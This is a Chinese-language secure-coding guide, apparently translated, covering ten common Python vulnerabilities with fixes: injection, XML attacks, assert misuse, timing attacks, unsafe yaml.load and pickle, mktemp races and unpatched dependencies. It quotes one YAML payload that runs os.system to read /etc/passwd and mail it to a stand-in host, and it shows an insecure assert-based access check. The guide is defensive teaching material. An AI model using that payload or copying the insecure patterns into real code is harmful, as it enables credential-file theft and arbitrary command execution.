帶你認(rèn)識(shí)Python中黑客喜歡攻擊的10個(gè)安全漏洞以及應(yīng)對(duì)方法
前言
編寫(xiě)安全代碼是一件很難的事情。Python也不例外,即使在標(biāo)準(zhǔn)庫(kù)中,也有記錄在案的編寫(xiě)應(yīng)用程序的安全漏洞。下面是Python應(yīng)用程序中最常見(jiàn)的10個(gè)安全陷阱以及相關(guān)解決辦法。
Input injection
Injection攻擊非常普遍,有很多種類(lèi)型的注入。它們影響所有的語(yǔ)言、框架和環(huán)境。
SQL injection是指直接編寫(xiě)SQL查詢(xún),而不是使用ORM并將字符串和變量混合。我讀過(guò)很多代碼,其中“轉(zhuǎn)義引號(hào)”被認(rèn)為是一種修復(fù)方法。然而它不是。
命令injection是指任何時(shí)候你使用popen,子進(jìn)程,os來(lái)調(diào)用一個(gè)進(jìn)程。系統(tǒng)從變量中獲取參數(shù)。當(dāng)調(diào)用本地命令時(shí),可能會(huì)有人將這些值設(shè)置為惡意的值。
如何修復(fù):
如果您正在使用web框架,那么可以使用web框架附帶的實(shí)用工具來(lái)清理輸入。除非您有很好的理由,否則不要手工構(gòu)造SQL查詢(xún)。
對(duì)于shell,使用shlex模塊正確地轉(zhuǎn)義輸入。
解析XML
如果您的應(yīng)用程序曾經(jīng)加載并解析過(guò)XML文件,那么您很可能正在使用XML標(biāo)準(zhǔn)庫(kù)模塊之一。通過(guò)XML有一些常見(jiàn)的攻擊。大部分是Dos風(fēng)格的(用來(lái)崩潰系統(tǒng)而不是過(guò)濾數(shù)據(jù))。這些攻擊很常見(jiàn),尤其是在解析外部(即不受信任的)XML文件時(shí)。
其中一個(gè)被稱(chēng)為“十億個(gè)laugh”,因?yàn)橛行лd荷通常包含大量(數(shù)十億)“lols”?;旧希@個(gè)想法是您可以在XML中執(zhí)行引用實(shí)體,因此當(dāng)您的低調(diào)的XML解析器試圖將這個(gè)XML文件加載到內(nèi)存中時(shí),它將消耗千兆字節(jié)的RAM。如果你不相信,那就試試吧:-)
另一種攻擊使用外部實(shí)體擴(kuò)展。XML支持從外部url引用實(shí)體,XML解析器通常會(huì)毫無(wú)顧慮地獲取和加載該資源。“攻擊者可以繞過(guò)防火墻,訪問(wèn)受限制的資源,因?yàn)樗械恼?qǐng)求都是由內(nèi)部可靠的IP地址發(fā)出的,而不是來(lái)自外部。”
另一種需要考慮的情況是依賴(lài)于解碼XML的第三方包,比如配置文件和遠(yuǎn)程api。您甚至可能沒(méi)有意識(shí)到,您的某個(gè)依賴(lài)項(xiàng)可能會(huì)受到這些類(lèi)型的攻擊。
解決辦法:
使用defusedxml作為標(biāo)準(zhǔn)庫(kù)模塊的替代。它增加了針對(duì)這類(lèi)攻擊的安全防護(hù)。
Assert statements
不要使用斷言語(yǔ)句來(lái)防止用戶不應(yīng)該訪問(wèn)的代碼段。
舉個(gè)簡(jiǎn)單的例子:
- def foo(request, user): assert user.is_admin, “user does not have access” # secure code...
在默認(rèn)情況下,Python執(zhí)行時(shí)使用的是_debug__作為true,但是在生產(chǎn)環(huán)境中,通常使用優(yōu)化來(lái)運(yùn)行。這將跳過(guò)assert語(yǔ)句,直接進(jìn)入安全代碼,而不管用戶是否為is_admin。
解決辦法:
僅使用assert語(yǔ)句與其他開(kāi)發(fā)人員通信,如在單元測(cè)試中或在防止不正確的API使用中。
計(jì)時(shí)攻擊
計(jì)時(shí)攻擊本質(zhì)上是一種通過(guò)計(jì)時(shí)比較所提供的值所花費(fèi)的時(shí)間來(lái)暴露行為和算法的方法。定時(shí)攻擊需要精確性,所以它們通常不能在高延遲的遠(yuǎn)程網(wǎng)絡(luò)上工作。由于大多數(shù)web應(yīng)用程序的延遲都是可變的,所以幾乎不可能編寫(xiě)HTTP web服務(wù)器上的定時(shí)攻擊。
但是,如果您有一個(gè)命令行應(yīng)用程序提示輸入密碼,那么攻擊者可以編寫(xiě)一個(gè)簡(jiǎn)單的腳本來(lái)計(jì)算將它們的值與實(shí)際的密碼進(jìn)行比較所需的時(shí)間。有一些令人印象深刻的例子,例如基于ssh的定時(shí)攻擊是用Python編寫(xiě)的。
解決辦法:
使用在Python 3.5中引入的secret .compare_digest來(lái)比較密碼和其他私有值。
被污染的站點(diǎn)—包或?qū)肼窂?/strong>
Python的導(dǎo)入系統(tǒng)非常靈活。當(dāng)您試圖為您的測(cè)試編寫(xiě)monkey-patch或重載核心功能時(shí),這是非常棒的。
但是,這是Python中較大的安全漏洞之一。
在您的站點(diǎn)包中安裝第三方包,無(wú)論是在虛擬環(huán)境中還是在全局站點(diǎn)包中(通常不建議這樣做),都會(huì)暴露這些包中的安全漏洞。
曾經(jīng)出現(xiàn)過(guò)這樣的情況:發(fā)布到PyPi的包的名稱(chēng)與流行的包類(lèi)似,但執(zhí)行的是任意代碼。幸運(yùn)的是,并沒(méi)有造成傷害。
另一種需要考慮的情況是依賴(lài)項(xiàng)的依賴(lài)項(xiàng)(等等)。它們可以包含漏洞,還可以通過(guò)導(dǎo)入系統(tǒng)覆蓋Python中的默認(rèn)行為。
解決辦法:
審查你的包??纯碢yUp。io和他們的安全服務(wù)。為所有應(yīng)用程序使用虛擬環(huán)境,并確保全局站點(diǎn)包盡可能干凈。檢查包簽名。
臨時(shí)文件
要在Python中創(chuàng)建臨時(shí)文件,通常需要使用mktemp()函數(shù)生成一個(gè)文件名,然后使用該名稱(chēng)創(chuàng)建一個(gè)文件。這是不安全的,因?yàn)樵谡{(diào)用mktemp()和第一個(gè)進(jìn)程隨后嘗試創(chuàng)建該文件之間的時(shí)間內(nèi),另一個(gè)進(jìn)程可能會(huì)創(chuàng)建一個(gè)具有該名稱(chēng)的文件。這意味著它可能欺騙您的應(yīng)用程序加載錯(cuò)誤的數(shù)據(jù)或暴露其他臨時(shí)數(shù)據(jù)。
如果調(diào)用了不正確的方法,Python的最新版本將發(fā)出運(yùn)行時(shí)警告。
解決辦法:
如果需要生成臨時(shí)文件,請(qǐng)使用tempfile模塊并使用mkstemp。
使用yaml.load
這個(gè)例子可以在流行的Python項(xiàng)目Ansible中找到:
https://talosintelligence.com/reports/TALOS-2017-0305
您可以提供Ansible Vault,該值作為(有效的)YAML。它使用文件中提供的參數(shù)調(diào)用os.system()。
- !!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]
因此,從用戶提供的值有效地加載YAML文件會(huì)讓您很容易受到攻擊。
解決辦法:
使用yaml.safe_load。
Pickles
反序列化pickle數(shù)據(jù)和YAML一樣糟糕。Python類(lèi)可以聲明一個(gè)名為_(kāi)_reduce__的神奇方法,該方法返回一個(gè)字符串,或者一個(gè)元組,該元組具有可調(diào)用的參數(shù),在pickle時(shí)調(diào)用這些參數(shù)。攻擊者可以使用它來(lái)包含對(duì)其中一個(gè)子進(jìn)程模塊的引用,以便在主機(jī)上運(yùn)行任意命令。
解決辦法:
永遠(yuǎn)不要從不可信或未經(jīng)身份驗(yàn)證的源解除數(shù)據(jù)pickle。而是使用另一種序列化模式,比如JSON。
使用系統(tǒng)Python運(yùn)行時(shí)而不打補(bǔ)丁
大多數(shù)POSIX系統(tǒng)都附帶了Python 2的一個(gè)版本。通常是舊的。因?yàn)?ldquo;Python”,即CPython是用C寫(xiě)的,所以有時(shí)候Python解釋器本身就有漏洞。C語(yǔ)言中常見(jiàn)的安全問(wèn)題與內(nèi)存分配有關(guān),因此緩沖區(qū)溢出錯(cuò)誤。
多年來(lái),CPython有許多溢出或溢出漏洞,每一個(gè)都在后續(xù)的版本中得到了修補(bǔ)和修復(fù)。所以你是安全的。也就是說(shuō),如果你修補(bǔ)你的運(yùn)行時(shí)。
解決辦法:
為您的產(chǎn)品應(yīng)用程序安裝最新版本的Python,并對(duì)其進(jìn)行修補(bǔ)!
沒(méi)有修補(bǔ)您的依賴(lài)項(xiàng)
與不修補(bǔ)您的運(yùn)行時(shí)類(lèi)似,您還需要定期修補(bǔ)您的依賴(lài)項(xiàng)。我發(fā)現(xiàn)在包中“固定”來(lái)自PyPi的Python包版本的做法很可怕。這個(gè)想法是“這些是可行的版本”,所以每個(gè)人都不去管它。
當(dāng)存在于應(yīng)用程序使用的包中時(shí),上述代碼中的所有漏洞都同樣重要。這些包的開(kāi)發(fā)人員會(huì)修復(fù)安全問(wèn)題。所有的時(shí)間。
解決辦法:
使用PyUp這樣的服務(wù)。io檢查更新,提出拉/合并請(qǐng)求到您的應(yīng)用程序,并運(yùn)行您的測(cè)試,以保持包的最新。
使用InSpec之類(lèi)的工具來(lái)驗(yàn)證在生產(chǎn)環(huán)境中安裝的版本,并確保修補(bǔ)了最小版本或版本范圍。